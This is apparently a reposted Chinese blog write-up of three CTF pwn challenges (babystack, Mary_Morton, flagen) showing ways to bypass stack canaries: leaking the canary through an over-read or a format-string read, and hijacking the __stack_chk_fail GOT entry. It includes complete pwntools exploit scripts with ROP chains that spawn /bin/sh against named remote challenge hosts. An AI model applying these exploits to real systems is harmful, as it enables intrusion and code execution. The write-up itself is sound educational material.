[pwn]ROP:三道题讲解花式绕过Canary栈保护

绕过Canary栈保护

Canary栈保护

Canary是一种栈保护手段,通常通过在栈中插入cookie信息(一般在ebp上方),在函数返回的时候检查cookie是否改变,如果改变则认为栈结构被破坏,则调用一个函数强制停止程序。当开启Canary保护的时候不能通过传统的栈溢出直接覆盖返回值劫持EIP。Canary在汇编代码中表现为:
在这里插入图片描述
从栈底拿出事前插入的cookie,然后和fs:28这个数对比,相同就正常返回,不相同会调用stack_chk_fail函数结束程序。下面通过两个例题来学习绕过Canary栈保护:

cannery栈中溢出变量可输出信息泄露canary:babystack writeup

题目地址:babystack(pwn1)

查看安全策略:
在这里插入图片描述
开启了除了PIE之外的所有保护,看一下函数的反汇编代码,了解起逻辑:
在这里插入图片描述
直接就找到了溢出点,s距栈底0x10长度,但却读入了0x100长度的数据,但由于开启了Canary如果直接输入超过长度的数据破坏了cookie,就会导致栈检查失败结束程序。
在这里插入图片描述
程序逻辑差不多就是1功能是输入字符串,2功能输出刚输入的字符串,3退出,很简单。除此之外题目提供了目标环境的libc文件,我们可以直接使用onegadget获取onegadget地址。接下来就是考虑如何获取Canary值然后拼接到payload之中,然后就可以安心的使用溢出来控制程序了。首先要获取libc的真实地址,可以使用puts输出一个函数的地址,然后计算,最后使用onegadget的值覆盖EIP完成getshell,使用gadget获取onegadget:
在这里插入图片描述
在这里插入图片描述
可以看见在main函数返回之前,Canary检查cookie之前将eax置为0了,所以可以直接选取这个gadget。接下来考虑如何获取cookie值。整个main函数栈场景大致如下:
在这里插入图片描述
那么我们可以通过输入0x88个’a’然后使我们输入的内容直接拼接到cookie的前方,只要cookie之中没有\x00那么在输入我们的字符串的时候就会将cookie从末尾“带出来”。而一般来说,cookie一般是末尾是\x00。可以做一下实验,输入0x88个’a’试试看:
在这里插入图片描述
如图,输出的时候后面的一些乱码就是被带出来的cookie。关于cookie的具体位置,一般是ebp的上方,不确定也可以动态调试看一下,最后交给ecx寄存器的就是cookie,然后数一下溢出点距cookie的距离即可:
在这里插入图片描述
获取了cookie之后,然后将cookie拼接在payload的相应位置就可以完成了,但在使用onegadget之前,要先获取一个libc之中函数的地址,我们可以通过puts函数输出自己的地址来计算,这又涉及到一个pop rdi;ret的gadget,很容易就可以找到,只要找到pop r15;ret就可以了:
在这里插入图片描述
然后就没什么难度,唯一需要注意的就是puts函数使用完毕要记得返回主函数,具体exp设计如下:

from pwn import *

p=remote('111.198.29.45',49269)  
elf=ELF('./babystack')
libcelf=ELF('./libc-2.23.so')
one_addr=0x45216             #onegadget地址
rdiret_addr=0x0400a93        #pop rdi;ret地址
main_addr=0x0400908          #main函数地址
put_plt=elf.plt['puts']      #puts的plt表和got表
put_got=elf.got['puts']

p.recv()
p.sendline("1")
payload='a'*0x87+'b'         #一堆a最后带一个b好区分
p.send(payload)

p.recv()
p.sendline("2")
p.recvuntil("ab\n")          #接收到'ab'为止,后面就是cookie
stack_v=p.recv(7)            #cookie长度8,但最后一字节是0
stack_v=u64(stack_v.rjust(8,'\x00'))   #一般会接收7位(cookie最后一字节大概率是\x00,需要补齐)
print hex(stack_v)
p.recv()
p.sendline("1")  

payload='a'*0x88            #padding
payload+=p64(stack_v)       #cookie
payload+='a'*8              #cookie和eip之间还有一个ebp
payload+=p64(rdiret_addr)   #返回到pop rdi的地方
payload+=p64(put_got)       #puts要输处的参数,puts内存中的地址
payload+=p64(put_plt)       #调用puts函数
payload+=p64(main_addr)     #最后返回main

p.sendline(payload)
p.recv()
p.sendline("3")     #先要退出才能触发payload
put_addr=u64(p.recv(8).ljust(8,'\x00')) #接收puts函数内存中的地址,可能接收不齐,用\x00补齐
print hex(put_addr)

one_addr=one_addr+(put_addr-libcelf.symbols['puts']) #计算onegadget内存中的地址
p.recv()
p.sendline("1")
payload='a'*0x88+p64(stack_v)+'a'*8+p64(one_addr)  #还是同样原理构造payload
p.sendline(payload)
p.interactive()

需要注意的是,puts函数遇到\x00就会停止输出,所以有时候地址之中有\x00就会导致接收到的地址不对,也就是说并不能百分百保证每次exp都能成功getshell:
在这里插入图片描述

printf任意地址读取信息泄露canary:Mary_Morton writeup

题目地址:Mary_morton

首先查看保护:
在这里插入图片描述
也是基本除了pie全开启了。

然后看一下函数逻辑:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
乍一看好像给了两种漏洞可以选择,但事实上我们必须联合使用两种漏洞才可以通过。因为开启了Partial RELRO,我们不能通过格式化字符串漏洞去改写plt表,因为开启了canary我们不能直接溢出,而也没有像上一题那样的输出函数,也不能采取将canary“带出来”的方式。值得注意的是,本题给了flag函数:
在这里插入图片描述
虽然不能通过单一漏洞getshell,但联合使用两种漏洞还是可以的,我们可以通过格式化字符串漏洞的任意地址读来读取cookie的值,因为cookie是不变的,也就是说,在一个函数中的cookie和在另一个函数中的cookie是相同的,所以我们通过格式化字符串漏洞读取的cookie也可以用在溢出之中。
在这里插入图片描述
查看格式化字符串所在函数栈结构,cookie在栈顶向下第18行,因为是64位程序,函数的前6个参数在rdi,rsi,rdx,cx, r8, r9之中然后才到栈中,所以cookie属于“第24个参数”,使用格式化字符串漏洞读它的语法应是:%23$p。

获取了cookie 之后,我们只需再利用栈溢出,将cookie拼接在其中,然后调用cat flag的函数即可,程序没有开启PIE,不需要再读地址计算了。可以直接利用,exp设计如下:

from pwn import *
p=process("./83d2fafc75b046e0ad93f8583dfea1d1")
flag_addr=0x4008DA  #获取flag函数

p.recv()
p.sendline("2")
payload="%23$p"   #格式化字符串漏洞语法
p.sendline(payload)
p.recvuntil("0x")
stack_v=int(p.recv(16),16)  #获取cookie值


p.recv()
p.sendline("1")
payload='a'*0x88+p64(stack_v)+'a'*8+p64(flag_addr)#栈溢出利用
p.sendline(payload)
p.interactive()

成功获取flag:
在这里插入图片描述

扫描二维码关注公众号,回复: 9525879 查看本文章

劫持_stack_chk_fail函数:flagen writeup

江湖惯例,首先查看安全策略:
在这里插入图片描述
开启了canary和NX,怀疑是栈相关题目,然后没有full relro说明可以改写got表。看一下程序逻辑:
在这里插入图片描述
看到了个菜单还以为是堆得题,但仔细一看和堆得菜单不怎么一样。IDA查看一下各个函数功能。
在这里插入图片描述
每一次输入新flag之前会将之前的flag free掉然后重新申请一段空间,没发现什么利用手法,这里不能用第一次申请一段空间然后释放再申请一个4字节的然后输出泄露地址。因为这里只申请一个空间然后释放会直接交还给topchunk而不会链入bins表中。

然后upPercase(我改名的)和lowPercase都是将输入的内容中的大小写转换的函数,没有什么利用点,但是在leeTify函数中存在利用点。leeTify函数的功能是将一些字母换成相似的数字,比如A换成4,O换成0等等,但这里将H换成了1+1:
在这里插入图片描述
这样就会使我们输入的内容变长产生溢出:
在这里插入图片描述
但如果粗暴的溢出会导致覆盖canary而溢出失败。由于程序中对每个字符串结尾都加了0导致找了好久都没找到信息泄露,但无意间看到了这句代码:
在这里插入图片描述
拷贝字符串到dest(函数参数)在检查canary之前,在汇编中结构如下:
在这里插入图片描述
只有成功调用 ___stack_chk_fail函数才会导致程序异常,而本题目又是32位的,那么就可以覆盖dest的地址然后劫持 _stack_chk_fail函数使程序调无法调用到真正的 _stack_chk_fail即可,看下面栈结构图:
在这里插入图片描述
标注的就是EBP,EBP上面是canary,下面是EIP,再下面指向堆得指针就是参数dest。画图表示:
在这里插入图片描述
如果输入的数据中有多个h经过leeTify函数之后编程了1+1那么就会导致溢出,如果溢出长度覆盖到了dest,那么就会改变dest的指向进而使最后的拷贝拷贝到一个可控的地址,假如我们精心构造使dest的值被覆盖为_stack_chk_fail函数的got表,那么到时候strcpy的时候就会覆盖got表:
在这里插入图片描述
但问题是strcpy是一下子拷贝所有而不是只将other_addr拷贝过去,而我们也不能用\x00截断,那么之前的逻辑又过不去了。所以我们要保证__stack_chk_fail后面的got表不变,也就是说再讲这些got表的值覆盖回去,查看一下 _stack_chk_fail后面有哪些:
在这里插入图片描述
然后构造一个覆盖got表的got表:

leave = 0x080485d8 #leave; ret
#len=9  stackchkfail strcpy malloc   puts   start  setvbuf   sprintf   atoi 
got2 = [leave, elf.plt['strcpy']+6, elf.plt['malloc']+6,elf.plt['puts']+6,\
elf.plt['__gmon_start__']+6, elf.plt['__libc_start_main']+6, elf.plt['setvbuf']+6,\
elf.plt['snprintf']+6, elf.plt['atoi']+6]

除了将stack_chk_fail覆盖为leave; ret之外其他不变,依然指向plt表(plt表要跳过最开始的6字节)
在这里插入图片描述
之后还需要一些小gadget,比如pop;ret,这个就可以:
在这里插入图片描述
然后就是构造rop链,之前需要精心计算一下h的数量,src长度是0x10c=4*9(9个got表)+77*3(77个h)+1(随便一个字符),接下来就是ROP链,这里ROP的构建非常牛逼,也是我从另一个地方学来的:

payload = "".join([p32((x)) for x in got2]) + "h"*77 + "a" + p32(new_ebp) + p32(popret_addr) + p32(Dest) + p32(puts_plt) + p32(popret_addr) + p32(read_got) + p32(readString) + p32(leave) + p32(new_ebp) + p32(24) 

其中readstring是这个函数,我改名了,有两个参数,第一个参数是地址,第二个是size:

在这里插入图片描述payload被leeTify函数操作之后会变成:
在这里插入图片描述
当函数返回之前调用stack_chk_fail的时候其实调用的就是leave; retn,leave将ebp劫持到new_ebp所处的位置(有什么暂时未知)然后依次指向puts(read_got),和readString(new_ebp,24),那么现在就等我们向new_ebp处写东西了,count是我们要写入的字节数,可以写的很大,但24足够。但值得留意的是readString执行之后的返回地址又是leave,也就是说还会执行一次leave,那么这次就会将esp也劫持到new_ebp这里,然后会将这里的第一个值pop给ebp然后返回,也就是说又回到了一个我们完全可控的栈,我们输入的内容就是这个新栈的内容,接下来输入:

payload = p32(new_ebp) + p32(system_addr) + p32(0xffffffff) + p32(new_ebp+16) + "/bin/sh\x00"

那么新栈就会变成:
在这里插入图片描述
那么leave之后ebp和esp就会同时指向new_ebp,然后retn直接retn到system函数,system的参数就是指向/bin/sh的指针。下面是完整exp:

from pwn import *

elf = ELF('flagen')
p = remote("114.115.190.15",40035)
libc=ELF('./libc6-i386.so')

leave = 0x080485d8 #leave; ret
#len=9  stackchkfail strcpy malloc   puts   start  setvbuf   sprintf   atoi 
got2 = [leave, elf.plt['strcpy']+6, elf.plt['malloc']+6,elf.plt['puts']+6,\
elf.plt['__gmon_start__']+6, elf.plt['__libc_start_main']+6, elf.plt['setvbuf']+6,\
elf.plt['snprintf']+6, elf.plt['atoi']+6]

new_ebp = 0x0804b610  
Dest = elf.got['__stack_chk_fail'] 
popret_addr = 0x08048481 #pop ebx; ret
puts_plt = elf.plt['puts'] #puts_plt@plt
read_got = elf.got['read'] #read@got
readString = 0x080486cb

#0x10c=4*9+77*3+1
payload = "".join([p32((x)) for x in got2]) + "h"*77 + "a" + p32(new_ebp) + p32(popret_addr) + p32(Dest) + p32(puts_plt) + p32(popret_addr) + p32(read_got) + p32(readString) + p32(leave) + p32(new_ebp) + p32(24) 

p.recvuntil("Your choice: ")
p.sendline('1')
p.sendline(payload)
p.recv()
p.sendline('4')

p.recvuntil("Your choice: ")
read_addr = u32(p.recvn(4))
system_addr = read_addr-libc.symbols['read']+libc.symbols['system']

payload = p32(new_ebp) + p32(system_addr) + p32(0xffffffff) + p32(new_ebp+16) + "/bin/sh\x00"
p.sendline(payload)

p.interactive()

成功getshell:
在这里插入图片描述

发布了56 篇原创文章 · 获赞 288 · 访问量 18万+

猜你喜欢

转载自blog.csdn.net/Breeze_CAT/article/details/100086513
今日推荐